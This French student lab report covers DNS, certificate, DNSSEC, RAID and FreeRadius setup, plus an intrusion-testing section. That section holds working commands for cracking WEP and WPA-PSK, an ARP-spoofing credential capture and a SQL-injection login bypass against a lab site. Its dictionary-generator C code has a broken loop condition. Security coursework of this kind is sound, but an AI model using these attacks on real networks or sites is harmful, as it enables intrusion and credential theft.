Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
